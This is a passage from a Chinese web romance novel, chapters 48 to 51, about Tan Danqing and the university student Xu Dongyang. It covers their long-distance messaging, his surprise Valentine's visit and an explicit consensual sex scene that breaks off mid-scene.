朦胧的月色里,她脸颊是迷人的红晕,眼睛里蒙着一层水雾,聚拢不了焦点。 脑子里名为理智的弦彻底断了。 耳膜嗡嗡响,犹如暴雨前的雷鸣。 他忽地从床上起身,提起掉地上的外套往身上套。 “嗯?”谈丹青朦朦胧胧地问他。 “我去趟超市。”他回答。 “啊?哦……”她眼睛明显在往下看,落在他裤腰上。但眼里没有嘲讽的味道,更多的其实是一点天真和好奇,“那个……这是正常现象。听说大部分男人,都会这样。你不用太难……” 最后一个字还没说完,绪东阳已经回过头,他单膝跪在床上,暴力地捏着她下巴吻她。齿咬得她唇肉都拉长了。 “买byt。”他说。 * 便利店玻璃门进入时叮当作响,发出一声热情的“欢迎光临。” 直到走进便利店里,绪东阳的大脑还是混乱的。 便利店灯很亮。 灯火通明的地方,往往人也会心向光明,很难生出杂念。 但谈丹青方才的模样,却好像已经烙在了他的视网膜里。 于是,无论他看什么,都会想到她。 冷藏柜玻璃上,排列整齐的饮料瓶,在他失焦的视线里,也氤氲成一盏盏朦胧摇曳的美人灯。 他突然觉得自己有点太过好笑了。 怎么就满脑子控制不住去想那档子事? 真是没开过荤的童子鸡…… 太菜了。 在生理本能面前,人的那点意志力,不值一提…… “帅哥要买什么?”超市打瞌睡的收银员问。 绪东阳虽是第一次买这玩意儿,但他尽量表现得很淡定。 他扫过货架上的包装盒,确认写了“超薄加大号”,然后挑了几种不同的口味,付钱出去。 到楼下,他几乎是三步并作两步,疾风般跨上楼阶。 他甚至想来个空气投篮。 但是这也太脑残了。 他又刻意放慢脚步,想让自己显得冷静一点。 但是,心砰砰跳,擂鼓般疯狂撞击着胸腔肋骨。 已经冷静不了一点…… 他生平第一次这般紧张。 究竟在紧张什么呢? 大概因为这扇门后面。 是他想要到发疯的东西。 门开。 却是亮堂堂的。 谈小白的行李箱横在客厅中央,谈丹青和他两个人正在清行李。 “你个死小孩儿,”谈丹青一声长椅一声短的数落着谈小白,“这么早的飞机,还不知道提前收拾,我真想把你剁了然后打包运走。” “姐姐姐,别骂了别骂了……”谈小白可怜兮兮,说:“我真的不喜欢收拾行李啊。” “这是什么?”谈丹青眼尖,突然从行李箱里看到了一只小盒子。她腾地站了起来,“谈,小,白!这是什么?你告诉我这是什么?!” 行李箱里被谈丹青发现的,竟是一盒byt。 “我养你这么大,是让你糟蹋小姑娘?”谈丹青拿起来手边一切能打谈小白的东西。 “下流!” “不要脸!!” 谈小白抱头鼠窜,“我,我……我买着真没打算用!我打算,打算吹气球。不信你看?” 为了自证“清白”,谈小白手忙脚乱地撕开包装,抽出一只,鼓起腮帮子用力吹了起来。 噗—— 一只半透明的、形状奇特的“气球”滑稽地膨胀开,在谈丹青更加铁青的脸色和绪东阳愕然的注视下,晃晃悠悠飘了起来…… 一时间,客厅里byt和“气球”齐飞。 站在玄关阴影里的绪东阳,默默地看着眼前这场荒诞剧。他垂在身侧的手,极其自然、又无比迅速地,将拎着的那只装着同款“气球”的便利店塑料袋,悄无声息地藏到了身后。 * 谈丹青帮谈小白收拾行李,他也帮着谈小白收拾了一会儿,等回房时已经是半夜。 绪东阳便知道刚刚的事算是续不上,收拾好行李,他去卫生间洗了个澡,顶着白色浴巾出来,迎面便扔来了一团白色的布。 那布飞来时抖开,薄薄轻轻一条。 柠檬洗衣凝珠和体香,瞬间盈满了他的肺叶。 他条件反射地接住,低头看,才发现是一条睡裙。 谈丹青刚刚穿的睡裙。 他睡过的铁架小床上,传来了一阵铃铛似的轻笑。 谈丹青倚在他的床上,薄被半盖。 什么也没露出来,但又什么都没遮到。 她的腰像流动的月光。 从被褥下露出的腿微弯着*,纤细而修长。 她侧头撑着手,笑盈盈地觑他。 “买了没有啊?” “嗯。” “你会买呀。”她故意取笑,“我还以为你不会。看看你买的什么样的?” 他没答,走了过去,手探到被子下面,去捉她的脚踝。 他摸到了那节又嫰又滑的脚,就猛地往自己这边一拽。 谈丹青抱着被子,脸颊绯红,撞进他的怀里。 “不让你弟弟用,但用我身上?”他摩挲着她的小腿,一路往上。她的皮肤是泼出来的牛奶,被他粗粝的手掌刮得发红。 谈丹青咯咯笑了起来。“对啊,谁叫我是姐姐。”她理直气壮地说:“我就是,只许州官放火,不许百姓点灯,怎样?” 谈丹青抱着他的脖颈,呼吸像柔软的羽毛。 牵着他的手,往腰间领。 “不怎样。”绪东阳说,“幸好我你让放火。” 谈丹青又笑,她手指在他月匈口又画圈,又轻点,“喂,绪东阳会不会用啊?” 声音像他熟悉的梦里。 他抱着她的腰,半梦半醒,分不清眼前到底是真的,还是他自己痴妄过度,将幻想当成了现实。 “你待会儿就知道了。”绪东阳一手搂着她,然后腾出一只手拆包装。 “哈……欠……”这时,谈丹青却突然在他脖颈边打了个很长的哈欠。 泪眼朦胧。 已经一点多了。 今天谈丹青情绪波动又这么大,觉得累也是正常。 “你,你会不会啊……哈……欠。”谈丹青又打了第二个哈欠。 这一次,绪东阳真的停住了。他抬手去揩她的眼皮。谈丹青眼睛已经困得发红。他将手中的byt一扔,说:“这个没收,先睡吧,今天太晚了。” “睡?”谈丹青哈欠连天,硬撑着,在他膝上半坐了起来。薄被滑落,露出白皙的锁骨,“睡什么睡,我今晚,要睡你!” 豪言壮语未落,又是一个懒倦的哈欠,“哈……欠……” 绪东阳非常配合得往后倒,他躺在床上,哭笑不得地看着她,手指反复揩着她的眼皮。 打哈欠后,眼角会渗出眼泪,让她看起来有点小可怜。 “你知道你现在这个举动,让我想到什么了吗?” “想到什么?”谈丹青对自己的魅力还是很自信。她觉得今晚肯定将绪东阳这个小处男给迷得不知天地为何物了,“你小子,是不是现在心跳特别快啊?” 绪东阳哑然失笑,说:“想到四个字,身残志坚。” 谈丹青:“……” “真睡吧。”他将她搂着,往床上倒,将灯给关了。 谈丹青在黑夜里睁着眼睛,以为绪东阳跟她开玩笑呢?都这样了,还能睡得着? 她等了一会儿,没等到动静。绪东阳真就在睡觉。 “你真睡啊?” “真睡。”绪东阳闭着眼睛回答。 “你这个年龄,怎么睡得着?”谈丹青说。 绪东阳没说话。 过了半晌,他再次开口,说:“这是我们第一次,我不想你半途睡着了。” 谈丹青嘀咕:“我才不会……” 不会吗? 她眼皮上下打架,这事……还真难说。 绪东阳拍了拍她背,像哄小孩睡觉。 突然安静,谈丹青也立刻感觉一股倦意袭来。她太累了,尤其是刚刚还做了梦。她打着哈欠,抱怨说:“那我也不要睡这里。” “我不要睡你床。”她乱动,“太硬了。” 绪东阳按下她的腿,将她往怀里一按,“就在这儿睡。” 谈丹青闭了闭眼睛,耳畔是绪东阳稳健的心跳和呼吸。 象征着安全和温暖。 她睡觉时,总喜欢婴儿的姿势,将自己整个身体蜷缩起来。 她缩起手脚时,绪东阳刚好将她一整个抱在怀里,严丝合缝,像镶嵌在了一起。 好像真的让她回到,她在母亲腹中倍受保护的时候。 【作者有话说】 一辆假车,低调路过…… 还没到正餐哈! 还是要讲究一个,水到渠成! 49 第49章 ◎康康◎ 次日绪东阳和谈小白就要回学校,谈丹青送两人去火车站。一路上,谈小白叽叽喳喳说个不停: “真放过假吗?” “我怎么觉得没放假就上学了啊?” “到底是谁!!!偷走了我的寒假!!!” 绪东阳神色寻常。 在谈小白面前表现得对谈丹青只有尊敬之心,毫无非分之想。 他手肘撑在窗沿上,垂眼看发车时间表,说:“寒假比较短,暑假就长了。” 他又何尝不想放假呢? 他比谈小白还想,恨不得直接退学。 谈丹青透过后视镜和他对视了一眼。 等再见面大概就是夏天了。 不过,也不一定要等这么久。 到了火车站,绪东阳下车从后备箱取行李。两人一人一只大行李箱,谈小白跨坐在行李箱上,推着箱子走。 谈丹青说:“进去吧,一路平安。” 谈小白:“嗯,姐,我走啦!” 绪东阳却对谈小白说:“我学生卡好像没带,我再找找看。你帮我去便利店买瓶水吧。” “啊?怎么会这样!那你快找找!”谈小白焦心地说,飞快奔去买水。 谈丹青也心急,说:“怎么学生卡没找到?箱子、背包、口袋……都找过了吗?还有时间,没找到我开车回……” 最后那个“去”字的尾音吞没在她的唇间。 谈小白刚转身消失在便利店门后,绪东阳就将她按在车门上吻住。 这次分别的思恋比上一次要再强烈无数遍。 真舍不得。 跟中了毒似的,每次毒发,就必须舔她一口。 绪东阳意犹未尽地在她唇间碰了碰,谈丹青却急着推他,“都什么时候了……” 他伸手进口袋,掏出学生卡,在她眼前一晃,眼里还夹着笑意。 “你……”谈丹青这才反应过来,无可奈何地说:“你真是的,小白刚走呢。” “我不走了吧。把票退了。”绪东阳半真半假地说。 谈丹青推了推他的脑袋,说:“我把你退了。” 谈小白买好水从便利店出来,谈丹青立刻站直,绪东阳也默契地往后退让了一步,两人之间隔着楚河汉界。 “找着了么?”谈小白将水塞进绪东阳手里,“喏。” 见弟弟急得满头大汗,谈丹青难免心虚,她瞪了罪魁祸首一眼。 绪东阳气定神闲地将准考证在谈小白眼前晃了晃,说:“找到了,就在口袋。” “哈?”谈小白往上托了托下巴,说:“绪哥,这不像你啊。竟然会丢东西。” 绪东阳笑笑,扶上行李箱,说:“走了。” “走。”谈小白说,“爸爸送你。” “滚。”绪东阳说。 绪东阳的身影融进漫漫人流里。 最后变成了一个光点。 谈丹青收回目光,一股隐秘的喜悦充盈在胸口。 和上一次分别不同。 上一次分离,思念是被禁止的。 而这一次,她可以光明正大地在心里回味。 回去的路,谈丹青手机震动。 她趁等红绿灯的间隙偷看了一眼。 绪东阳发来消息。 Leo:【上车了。】 Leo:【车还没开。】 Leo:【但我已经开始想你了。】 动车上,绪东阳手机震响。 Tdq:【看好你的破包。】 嘴角往上勾起,他将手机揣回兜里。 * 回学校后,绪东阳好半天调整不来学习状态。 这挺不像他,他以前就算天塌下来,也能全神贯注做题。 但现在,他就一直想谈丹青。 一会儿想她在车前对他笑,一会儿想她缩在他怀里睡懒觉。 这破学, 就真的非要上吗? 调整半天状态后,绪东阳终于能看进去几页书。 寒假教授留的作业还只写了一份初稿,他凝神静气,终于将作业修改完。 从图书馆回来已是披星戴月,他看了眼手机,谈丹青没回他消息。她明天要飞广东,这会儿估计在忙。 距离熄灯断网还有一会儿,室友们刚洗漱完,正在各自忙活。 “兄弟们,情人节怎么过啊?”“恨嫁”的王越桓突然嚎了一嗓子。 “单身狗啊,单身狗肯定去图书馆过。” “诶诶诶,我不是单身狗啊!”王越桓跳脚,“我是要去见我女朋友的。” “阳哥呢?” “图书馆。”绪东阳说。 “哈?!”这话真叫室友惊掉了下巴,“阳哥情人节都不谈恋爱?好好好,我心里平衡了。” “我也平衡了。” “我也平衡了。” 绪东阳说:“我异地。” 王越桓:“!!!异地?怎么回事啊兄弟?我上次问你,你还说你没谈啊。” “你们有没有听到什么东西碎了?” “什么?没听到啊……” “无数少男少女的心啊!哈哈哈哈!” “异地恋挺辛苦的,”另一名室友说:“上学期的时候,班上好几个都异地恋,天天在走廊里打视频,结果你现在出去看,还有么?都换人了。” “这事儿也说不定的吧。”王越桓看着绪东阳的脸色说。 “是不一定,”那名室友说:“我是说很辛苦。见不着面,摸不着,那种感觉还是挺不一样的。” 室友的话像一粒石子投入湖中,让绪东阳心中泛出波澜。 但他并没有这么悲观,他觉得比空间更难跨越的时间都已经克服了,距离不会对他们的感情造成什么伤害。 不过“情人节”这事,倒是提醒了他。 他并不想他们在一起后的第一个情人节就这么稀里糊涂地过了。 洗漱完后,宿舍断电断网。 他开了盏小灯,发消息问谈丹青。 Leo:【情人节有什么计划?】 Leo:【想做什么?想去哪里玩?】 谈丹青的回复令他发笑。 Tdq:【赚钱算不算计划?】 Leo:【算。想怎么赚钱?】 Tdq:【你问得正好,我刚好想请你帮一个忙。】 Leo:【什么忙?】 绪东阳回完,两眼盯着屏幕,聚精会神地等待。 Tdq:【想让你站在一个没有审美的局外直男的角度,帮我看一看这两款内衣哪一款更好看。】 Leo:【你要用排除法?】 Tdq:【哈?】 Tdq:【你别污蔑我吖!】 Leo:【不是?】 Tdq:【诶……好吧,是需要排除一下。】 Leo:【好。】 断网后用数据流量,网速很慢。 绪东阳点开,等宿舍缓慢的网速加载。 图片加载到一半,他突然猛地坐直了身。 宁静的宿舍里,床板嘎吱一响。 下铺的王越桓也在赶作业,惊叫了一声:“吓我一大跳!” 绪东阳以为谈丹青发来的会是草图,或者是建模图效果图。 没想到,她发来的是她自己。 两张照片都没有露出谈丹青的脸,她将头发随意地挽了上去,雪白脖颈后垂着一只松松垮垮的发髻,几缕弯曲的发丝垂下,那发丝仿佛在呼吸。 第一身内衣是白色基础款,扇形的雪纺托着一团圆润的雪,一条银色的链条淹没在浅浅的沟壑里,往下延着,让观者的神经末端也跟着那淹没不见的银链联想翩翩。 绪东阳翻下一张,第二身通体乌黑,纯黑的丝绸,精致镂空蕾丝边。柔软的布料不知经过了怎样的技术处理,从照片上看起来,材质竟然类似坚硬的铠甲,有一种特别的味道。 Tdq:【白色那款叫“新婚”。】 Tdq:【黑色那款叫“战神”。】 Tdq:【白or黑?】 照片发过去后,绪东阳那头半天没音。 谈丹青都快以为是有人来找绪东阳被抓包。 Tdq:【?】 Tdq:【人呢?】 Tdq:【你别告诉我,你选or啊……】 终于,对话框那头绪东阳的状态变了。 正在输入中…… Leo:【黑。】 Tdq:【猫猫摸下巴思考jpeg.】 Tdq:【竟然选黑……我以为你们直男都会选白。】 Leo:【为什么?】 Tdq:【白色款比较温柔吧?】 Leo:【直男一般喜欢机甲。】 本来绪东阳回答得很正经,但看到这行回复,谈丹青直接笑得在床上打滚。 Tdq:【哈哈哈哈哈哈你也太搞笑了……】 Tdq:【“机甲风”内衣……也不失为一个新赛道。】 Tdq:【改名“高达”系列。】 Leo:【不要改名。】 Leo:【就叫“战神”。】 谈丹青终于停下笑。 Tdq:【这下可就不好办了。】 Leo:【?】 Tdq:【用不了排除法了呀。】 Tdq:【我也喜欢黑。】 绪东阳莞尔。 再次想点开照片。 对话框里的图却突然消失了。 已撤回 Leo:【?】 Leo:【怎么撤回?】 Tdq:【选好了啊,选好了就不给你看了。】 Leo:【为什么?】 Tdq:【好哇,你是不是想存我的照片做什么坏事啊?】 正在输入中。 静止。 正在输入中。 静止。 Leo:【没有。】 每次回复,绪东阳都会打正确的标点符号。 “没有”后面,一定会跟一个圆圆的“。” 谈丹青甚至都能想象他现在的表情,一定下颌紧绷着,一脸正经,但手指骨节都攥白了。 谈丹青玩心大起,故意说:【礼尚往来,现在轮到你了。】 Leo:【?】 Tdq:【请开始你的表演。】 Tdq:【猫猫祟祟到处看jpeg.】 Leo:【看什么?】 Tdq:【看什么???】 Tdq:【当然是——看看腹肌啊!】 Leo:【现在?】 Tdq:【?】 Tdq:【不是现在你打算什么时候?这玩意儿看一眼还要准备?】 对面竟然没回。 绪东阳学业虽重,但平时并没有疏于锻炼,他还是学校拳击俱乐部副会长。随着年龄增长,腹肌练得比以前更好,更饱满,块状分明。 但他听室友们曾闲聊说,现在女生其实并不喜欢肌肉太大的男生,更喜欢纤细美少年,过度健身只会吸引同性。 所以绪东阳也不知谈丹青会不会喜欢他这么大块的腹肌。 谈丹青已看完两份邮件,还没等来绪东阳的“腹肌照”。 她这不会是,吓到他了? “叮。” 绪东阳的消息终于进来了。 Leo:【拍照不好拍。】 Leo:【打视频吧。】 50 第50章 ◎异地◎ 谈丹青刚随手按下接通键,就被八块腹肌贴脸暴击。 绪东阳宿舍光线很差,只有床头一盏充电台灯。 光线昏暗不明,摇摇曳曳。 这朦胧晦涩的光影,给本就清晰饱满的腹肌镀了一层浅金色的膜。 每一块饱满贲张的肌肉仿佛会呼吸,在微弱的光线下起伏搏动。 这一幕,令谈丹青条件反射地按下了挂断键。 这事的确是她开的头。 但她以为,就绪东阳那内敛的性子,只会被她弄得满脸通红,难为情地下线逃遁,然后她哈哈大笑。 怎曾想,绪东阳这么富有且慷慨。 手机屏幕彻底暗下。 腹肌没了。 “嘁……”谈丹青稍有惋惜地撇了撇嘴,“没看清楚啊……” 挂断视频通话,绪东阳的消息跟着弹了进来。 Leo:【怎么挂了?】 谈丹青坐直,整了整神色:【看清楚了啊。】 Leo:【不看了?】 Tdq:【不看了。】 绪东阳那头的状态又开始变化。 Leo:【我想再看看你。】 谈丹青忍笑,在床上翻身换了一个姿势,下巴撑着抱枕。 Tdq:【边台。】 绪东阳有口难辩:【不是……】 他解释道:【只看你的脸。】 消息发出去后,屏幕那头却像沉入了深海。 绪东阳维持着同一个姿势,盯着手机屏幕等了半晌,宛如老僧入定。 宿舍里的灯一盏一盏灭了。 楼下传来王越桓轻微的鼾声。 是睡了么?还是真生气惹,不打算再理他? 这时手机屏幕一亮。 谈丹青发来了视频邀请。 绪东阳觉得手机屏幕亮起瞬间,自己跟僵尸复活似的,心脏陡然一跳。他悄无声息地下了床,在走廊接通。 谈丹青的半张脸出现在镜头里。 她那头的光线柔和。 眼睛是弯的,像盛着碎星。 脸颊有层薄薄的红,不知是因为他,还是又微醺了。 夜色静谧,四下无人,绪东阳不由自主放轻了声音,问:“刚才怎么突然就挂了?” “看清楚了呀。”谈丹青脸颊在枕头上找了一个舒服的位置,卧倒,“看清楚就挂了呗。” 用完就扔? 未免太没良心。 “刚刚那么快,真看清楚了?”绪东阳说。 谈丹青漂亮的眼睛在镜头里飘忽不定,目光状似无意地往下扫,然后飞速移开。他现在已经穿好外套,拉链拉到了喉结以上。 “我还以为你没什么时间锻炼。”谈丹青说。 “这几天是去健身房少,”绪东阳说:“明天加练。” 谈丹青用几乎只有气声,却又足够让他听清的音量,认真吐槽:“又炫耀。到底怎么做到吃这么多还长不胖的?” 绪东阳说:“我年轻。” 谈丹青翻了个巨大的白眼:“请尊老爱幼,谢谢。” 绪东阳说:“认真回答,我运动量很大。” 谈丹青回想绪东阳每天运动量,每天晨跑、夜跑,不定时举铁……的确吃再多也不会胖。 就这样天南地北地闲扯了一会儿。 绪东阳又问:“情人节想怎么过?” 谈丹青说:“情人节你还在学校吧?” “对,”绪东阳叹了口气,说:“一天课。” “那就不过呗,”谈丹青对这事真无所谓。情人节本就是商家的游戏,而作为商家的一员,她心里只惦记着业绩。但绪东阳似乎对仪式感挺在意,对他俩第一个情人节却不能一起过,耿耿在怀。 “晚上打视频吧。”绪东阳说。 “行啊。”谈丹青说。 “每天晚上十点。” “每天?我还以为只有情人节。” “每天,”绪东阳说:“不用说太久,就看一眼,听听声音。” “好。”谈丹青答应下来。 绪东阳嘴角抑制不住地向上弯了一下,又迅速抿平:“要睡了?” “对。”谈丹青应了一声,眼皮似乎沉了些。 “好。”绪东阳低低应道。 他距离屏幕更近,仿佛是想看得更清楚一些,“晚安。” “晚安。” 挂断电话后,绪东阳没有立刻回宿舍。 他靠在走廊冰凉的墙壁上发了会儿呆,在脑海里回放着刚才短暂视频里的每一帧画面,每一句对话。 这短暂的几句闲聊,对他而言却好像充电。 虽然累了一整天,脑神经都被榨干了,但此时此刻反而有一种清明、敏锐的感觉,脑子里的迷雾全被吹散。 转身推开宿舍门,脚步是前所未有的轻快,脚下踩的不是冰冷的水泥地,而是松软的、蓄满力量的弹簧。 他轻手轻脚地回到上铺,手机震动。 是谈丹青发来一张图。 【黑色“战神”】 【不许做坏事。】 她警告。 他回复:【不会。】 可是,他就算做了坏事。 谈丹青也不会知道,不是吗? 对这张照片的心态,随着夜晚变深,由单纯的欣赏,变成了个人的欲念。目光从雪白的月匈口,移到了照片最上沿,微露出来的小巧的下颌上。只露出了这一点,旁边缀着一缕黑发。 但只用这么一点点。 似乎就够了。 * 分隔两地,谈丹青从未想过,也绝不会要求绪东阳必须告诉自己他在做什么。那不是她的风格,也显得不够有安全感。 但绪东阳很喜欢和她分享他的生活,发给她图书馆闭馆时静谧的月光,拳击俱乐部的高级训练设备,还有神一样折磨他们的导师。 谈丹青觉得这些零零碎碎的日常好有意思。 她没有机会走进大学校园,那片天地对她而言,像是一个神秘的乌托邦。 现在,借着绪东阳的眼睛,循着他发来的每一条消息、每一张图片,她仿佛也踏入了T大的林荫道,坐在了图书馆靠窗的位置,感受着象牙塔里特有的、混合着书本油墨与青春荷尔蒙的气息。 她仿佛同步经历着,另一种可能的人生轨迹。 有一次,绪东阳给她发过T大的文章,她便顺手关注了T大。后来再刷时,她无意看到T大每年都有几期面向所有社会人士的公开课,其中还有关于服装设计的课程。 放在从前,这类信息她大概扫一眼就划过去了。名校公开课?报名门槛想来高不可攀,她一个高中生,报了名多半也是石沉大海,何必自讨没趣? 但这会儿,她心底却有个小小的声音一直在怂恿着她:为什么不试试? 万一呢? 对啊,万一呢? 念头一旦升起,便有些按捺不住。不过是填张报名表,做几页测试,又不会掉块肉。成了是意外之喜,不成也没有损失。 她给自己报了名,但是没有告诉绪东阳。谁知道最后结果是什么?如果最后没让她去,提前让绪东阳知道,不是空欢喜一场? * 每逢情人节,都是谈丹青最忙的时候。 今年选定的黑色“战神”款内衣,果然一上架就被全网热转。 直播间哐哐哐上链接,冲销量。 谈丹青忙完就接到绪东阳的视频。 “十点了。”绪东阳说。 “刚在忙,”谈丹青说:“你那边怎么这么吵?” “有个聚会。”绪东阳将镜头转了过来。一屋子都是人,玩得挺开心。 看着绪东阳那头青春欢乐,谈丹青本来赚钱挺开心,但又有点不平衡起来。 她甚至有点怪绪东阳太诚实。 就不能像其他鸡贼男人一样骗骗她? 比如: “情人节在做什么?” “情人节在图书馆苦哈哈读书。” 非要让她亲眼看见,他是怎么和同龄人一起玩。 谈丹青说:“玩得开心。” “我在看你直播。”绪东阳说,“今晚热度很高。” 谈丹青说:“那当然,情人节嘛。” 似乎听到胡小样的声音:“小谈姐!快来快来!要切蛋糕啦!10w加加加加加!!!” “要忙了吧?”绪东阳问。 “对,”谈丹青说:“我过去了啊。” “嗯。” 通话挂断。 他加的群聊里,大家说得热火朝天,各种开香槟庆祝。 异地就是这个不好,他不能在这儿。 她高兴的时候,他不能在这儿;她难过的时候,他不能在这儿。 那要他有何用呢? 包厢里,同学们聊天,划拳。 绪东阳起初玩了几把。 都赢了。 但却并没有那种畅快兴奋感。 反而觉得有些无趣。 他将位置让给了王越桓。 去吧台拿酒。 一个女生跟着他过来,坐在他旁边的空座上,“帅哥,玩游戏吗?输了的喝酒。” “不。” “好吧,”女孩儿拨了拨头发,问:“那你想接吻吗?” 绪东阳皱起眉,“你在说什么?” “接吻,亲嘴,kiss。别懂装不懂了。”女孩儿笑着说。 绪东阳起身。 “诶……有女朋友怎么了,她又不在这儿。今天情人节啊。” 环顾四周,屋里有小情侣在亲热,有暧昧期男女在互相挑逗,还有异地恋的男女骚动不安。 这一刻,绪东阳突然知道了自己今天究竟想干什么。 他想见她。 就见一眼,立刻马上。 他掏出手机,指尖飞快地刷新着最近机票信息,脚步不停地向外走去,且越走越快。 直到飞机冲上云霄,绪东阳还有一种不真实感。他并不是凡事随心所欲的性格。他喜欢做计划,有非常强烈的掌控欲,而今晚这场旅程,却完全在他的计划之外。 他计算着行程时间,三小时飞机,一小时车程,现在是晚上十点,只用再煎熬四小时,凌晨三点,他就能真正见到谈丹青。这一念头,如石上溪流,缓缓冲淡了他心头的焦躁不安。 谈丹青忙完天边已经泛鱼肚白,但她还有一种精神亢奋的感觉。洗澡,护肤,涂护手霜时,她瞥了一眼和绪东阳的聊天窗口——最后一条消息还停留在几个小时前。 估计他今晚也玩太高兴了吧。 这时手机震动。 Leo:【在忙?】 她回复:【忙完了。你怎么还没睡啊?】 Leo:【你呢?睡了吗?】 Tdq:【没呢,刚下播,哪儿睡得着。】 手机那头再次安静。突然,绪东阳的状态变成了【Leo正在输入中】 下一瞬—— Leo:【我在你公司楼下。】 50-60 51 第51章 ◎谁比较菜◎ 明明,绪东阳的讯息每个字她都认识。 但她却忽然无法理解绪东阳在说什么。 像是突然丧失了语言功能的失语者。 在她公司楼下? 怎么可能? 她现在在广东。 绪东阳可能出现在任何地方。 唯独不可能此时此刻突然出现在她面前。 Tdq:【你在说什么?】 Leo:【几楼?】 谈丹青恍惚回复:【二楼。】 门铃声几乎与消息发出同时响起:“叮……” 谈丹青顾不上穿鞋,光脚奔去开门。 透过猫眼往外看,门外站了个男人。 视野狭窄畸变,只能看见一个模糊的、被拉伸的侧影。 看不清面容,她不由心慌。 紧接着,那人似乎是察觉了有人看他,抬起了头。 这一瞬间,扭曲的镜片仿佛被无形的力量抚平,绪东阳的脸清晰地出现在她的眼帘里。 挺拔鼻梁如山脊,眼睛在昏暗光线下深邃得仿佛能吸走所有光亮。 他斜倚门框,颀长的身影被月光削刻,一身风尘仆仆。 所有紧绷的情绪突然松懈,取而代之的是一股汹涌而上的滚烫暖流。 她一把拉开门,“你怎么来了?” 重逢的喜悦尚未焐热,她习惯性地凡事往坏处想,又生出些不安,问:“是……出什么事了?” “没有,”绪东阳垂眸看她,眼底灼热,温声说:“只是今晚很想见见你。” 没那么多复杂的理由目的,发乎心,顺于心。 她身体微微发颤,嘴唇张了张,想说什么,却又什么都说不出口。 情人节她不期待,是真的不期待。没有半点口是心非,她就是个没有仪式感,混乱度日的人。 可是,没有任何人会讨厌一束火热的玫瑰花,和一句我很爱你。 “怎么鞋也不穿?”绪东阳忽地看到她裙摆下光着的脚,眉心紧了紧,拦腰将她抱了起来。 她环住他的脖子,微抖的嘴唇轻轻碰在他的面颊上。 绪东阳怔了怔,紧接着偏过头,去找她的唇。 一夜奔波,绪东阳没来得及打理自己。 他的外衣上有灰尘和车厢的味道,淡色的薄唇下也冒出了些短硬的胡茬,磨疼了谈丹青的唇。 两人气喘吁吁,静静地贴着额头。 谈丹青手指摸着绪东阳的耳廓,轻声问他:“这次东西带了吗?” “什么东西?”他反问。 “你说呢?”夜色里,绪东阳眼底黑亮如淬火。 对上这双澄澈深邃的眼睛,谈丹青莫名心口发紧。 她怎么还有点怕这小子了?不像话…… 但如果她能预料待会儿将发生什么。 大概会觉得现在的紧张非常有先见之明。 “带了。”绪东阳瞬间理解她指的是什么。 上次买的那盒他没带去北京,落在了谈丹青家。 这次过来,在车站另买了一盒。 “唔……先去洗澡。”谈丹青赶他去卫生间,又给他找换洗的干净衣服。 她这儿没有男人穿的衣服,她的衣服绪东阳也不可能穿,翻箱倒柜找了身谈小白的衣服。这身衣服谈小白穿起来偏大,到绪东阳这儿就刚刚好。 卫生间里,水声淅淅沥沥。 绪东阳洗得很快,但尽量将所有地方都洗得很干净。 长时间的车途劳顿并没有让他觉得疲惫,反而像是打了一剂肾上腺素,精神状态异常亢奋,嗅觉视觉敏锐到病态。 他能从浴室残留的水渍里闻到谈丹青身上的味道。清清淡淡的,一丝凛冽的甜裹着微酸的涩,像摘下花束后指尖的余香。这种味道立刻让他的下端迅速昂扬。 出来时,谈丹青背对他趴在床上玩手机,纤细修长的小腿翘着,晃来晃去。 乌黑如缎的长发盖在后背上,一根纤细的黑色肩带露了出来。 “洗完啦?”她回头看他,然后又扭过头。 他对女人的衣服其实观察得并不仔细,但他却一眼认出,谈丹青今晚穿的内衣,是那晚发给他看的“战神”。 神秘的金属感布料,托着盈盈的两团雪。 “过来呀。”谈丹青特意让出了自己的半边床给他。 他单膝跪了上去,俯身抓住了她的手肘。 那一节皮肤凉丝丝的,捉不住。 谈丹青的脸似乎在缓缓涨红,是一团健康的血色。 但他却又无法确定是真如此,还是他的错觉。 因为当他正要看过去的时候,谈丹青突然拧灭了床头那盏小灯。 在双眼适应月光之前,他什么都看不清,听不清。 只能感觉自己在苍茫的海水里往下沉,海水漫过他的眼、鼻、口…… 而他的手中捉着一条灵动的鱼。 “下次别这样了,”黑暗里,他听见谈丹青轻声细语地说。 “怎么样?”绪东阳问说:“我刚弄疼你了吗?” “没,”谈丹青发出一声细细的笑,“你都没怎么碰到我……” 她的手牵着他,在被褥里穿梭,“其实可以重一点,没关系。我又不是块豆腐……” 指尖碰到什么,带动整只手剧烈颤抖,然后无意识地猛然一捏。 谈丹青立刻轻轻惊呼了一声,“也不能这样啊。” “抱歉。”他低下头,赔罪似的对着她轻轻呼气。 “我是说……”谈丹青控制着自己的声音,不要颤得不像样,于是断断续续,“以后不用特意跑来看我。” “我知道的,算过了时间,”绪东阳温声说。 “你想见我吗?”他问。 “见到我,高兴吗?”他一问起来,就不依不饶。 这种问题,谈丹青是不可能回答的。 万幸屋里没点灯,绪东阳也看不到她的脸。 即便谈丹青一声不吭,他也知道她的口是心非。 她每次对他说走开,其实是想他留下来。 他觉得谈丹青的身人本已经够滑了,指尖根本立不住。 但直到再慢慢下移时,才发现另一个地方才是真的又滑又腻。 他对女性的了解仅为纸上谈兵,有理论知识作为基础,但却毫无实践经验。于是他的手指一知半解地缓缓动作着,半是遵循本能*,半是探寻研究。 学习天赋体现在方方面面,他很快就能举一反三一通百通。他很快明白了水珠的来源,明白了谈丹青身上香味的来源。那不断牵动他神经的始作俑者的成分,全部来源于此。那么这个地方算生命之源吗?念头一个比一个下作,一个比一个边台…… 他的严谨学习,对谈丹青却是一种残酷漫长的折磨。她好像被吊着,不上不下,眼前一阵阵冒出白光。每次快要吃到了,他就又立马退出去,似乎在反复实验她的极限到底在哪里。 “你……你到底,你到底会不会?”谈丹青涨红着脸。 她斥责的声音,听起来很难受。像是被闷在喉咙里,呼吸不过来,带着惹人可怜的哭腔。 这种情况下他似乎应该立刻停下来,然后轻言细语地安慰她一番。但他做不到,他控制不了自己。道德和理智永远比不上邪念和本能。他反而故意想弄得更重一点,再重一点,好让她在耳边啜泣的声音更嘹亮清晰。 谈丹青被折磨得恨不得要去咬他,她一口又一口咬在绪东阳的肩膀上,咽下那些声音,“你,你要是不,不会,就,就给我……下去……啊,呀……”谈丹青语不成调。 手心里的水流越来越多,从掌心往下淌,每个指尖都是。她脸上也是水,哭出来的,流出来的,他不小心摸上去的,一片狼藉。她想躲开他,于是他手掌按在她扭动的月复上,轻而易举地按下那痉.挛似的扭动,在入口抵上了自己的木仓。 “你,你怎么……”一阵毁天灭地般的颤抖结束后,谈丹青不可思议地抬头看了她一眼。 